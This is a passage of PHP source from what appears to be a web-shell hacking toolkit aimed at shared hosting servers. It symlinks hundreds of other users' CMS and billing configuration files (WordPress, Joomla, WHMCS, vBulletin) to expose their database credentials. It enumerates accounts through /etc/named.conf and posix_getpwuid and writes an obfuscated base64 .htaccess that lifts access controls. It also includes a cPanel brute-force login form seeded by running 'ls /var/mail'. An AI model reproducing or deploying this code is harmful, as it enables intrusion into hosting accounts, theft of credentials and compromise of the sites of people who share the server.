ink(\'/home/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t}\r\n\r\n\t\t\t\t$d0mains = @file("/etc/named.conf");\r\n\t\t\r\n\t\t\t\tif($d0mains)\r\n\t\t\t\t{\r\n\t\t\t\t\tmkdir($fn);\r\n\t\t\t\t\tchdir($fn);\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\tforeach($d0mains as $d0main)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(eregi("zone",$d0main))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\n\t\t\t\t\t\t\tflush();\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tif(strlen(trim($domains[1][0])) > 2)\r\n\t\t\t\t\t\t\t{ \r\n\t\t\t\t\t\t\t\t$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tsyml($user[\'name\'],$domains[1][0]);\t\t\t\t\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo "<center><font color=lime size=3>[ Done ]</font></center>";\r\n\t\t\t\t\techo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; \r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tmkdir($fn);\r\n\t\t\t\t\tchdir($fn);\r\n\t\t\t\t\t$temp = "";\r\n\t\t\t\t\t$val1 = 0;\r\n\t\t\t\t\t$val2 = 1000;\r\n\t\t\t\t\tfor(;$val1 <= $val2;$val1++) \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$uid = @posix_getpwuid($val1);\r\n\t\t\t\t\t\tif ($uid)\r\n\t\t\t\t\t\t\t$temp .= join(\':\',$uid)."\\n";\r\n\t\t\t\t\t }\r\n\t\t\t\t\t echo \'<br/>\';\r\n\t\t\t\t\t $temp = trim($temp);\r\n\t\t\t\t\t \r\n\t\t\t\t\t $file5 = fopen("test.txt","w");\r\n\t\t\t\t\t fputs($file5,$temp);\r\n\t\t\t\t\t fclose($file5);\r\n\r\n$htaccess =\r\n\'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh\r\naW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp\r\nbiAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=\r\n\';\r\n$file = fopen(".htaccess","w+");\r\n$write = fwrite ($file ,base64_decode($htaccess));\r\n\t\t\t\t\t \r\n\t\t\t\t\t $file = fopen("test.txt", "r") or exit("Unable to open file!");\r\n\t\t\t\t\t while(!feof($file))\r\n\t\t\t\t\t {\r\n\t\t\t\t\t\t$s = fgets($file);\r\n\t\t\t\t\t\t$matches = array();\r\n\t\t\t\t\t\t$t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n\t\t\t\t\t\t$matches = str_replace("home/","",$matches[1]);\r\n\t\t\t\t\t\tif(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\tsyml($matches,$matches);\r\n\t\t\t\t\t }\r\n\t\t\t\t\tfclose($file);\r\n\t\t\t\t\techo "</table>";\r\n\t\t\t\t\tunlink("test.txt");\r\n\t\t\t\t\techo "<center><font color=lime size=3>[ Done ]</font></center>";\r\n\t\t\t\t\techo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; \r\n\t\t\t\t}\r\necho "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\nexit;\r\n}\r\n?>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="page" type="hidden" value="find"><table>      \t\t\t\t\r\n    </strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>\r\n    <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">\r\n\t<tr>\r\n\t<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>\r\n    <tr>\r\n    <td>\r\n    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">\r\n    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<strong>User :</strong></td>\r\n    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="usernames"><?php system(\'ls /var/mail\');?></textarea></strong></td>\r\n    </tr>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<strong>Pass :</strong></td>\r\n    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="passwords"></textarea></strong></td>\r\n    </tr>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">\r\n\t<strong>Type :</strong></td>\r\n    <td valign="top" bgcolor="#151515" colspan="5">\r\n    <span class="style2"><strong>Simple : </strong> </span>\r\n\t<strong>\r\n\t<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>\r\n    <font class="style2"><strong>/etc/passwd : </strong> </font>\r\n\t<strong>\r\n\t<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>\r\n\t</strong>\r\n\t</span>\r\n    </td>\r\n    </tr>\r\n    <tr>\r\n    <td valign="top" bgcolor="#151515" style="width: 139px"></td>\r\n    <td valign="top" bgcolor="#151515"  colspan="5"><strong><input class =\'inputzbut\' type="submit" value="start">\r\n    </strong>\r\n    </td>\r\n    <tr>\r\n</form> \r\n<tr>\r\n    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>\r\n    \t\t\t\t</tr>\r\n<form method="POST" target="_blank">\r\n\t<strong>\r\n<input name="mendapatkan" type="hidden" 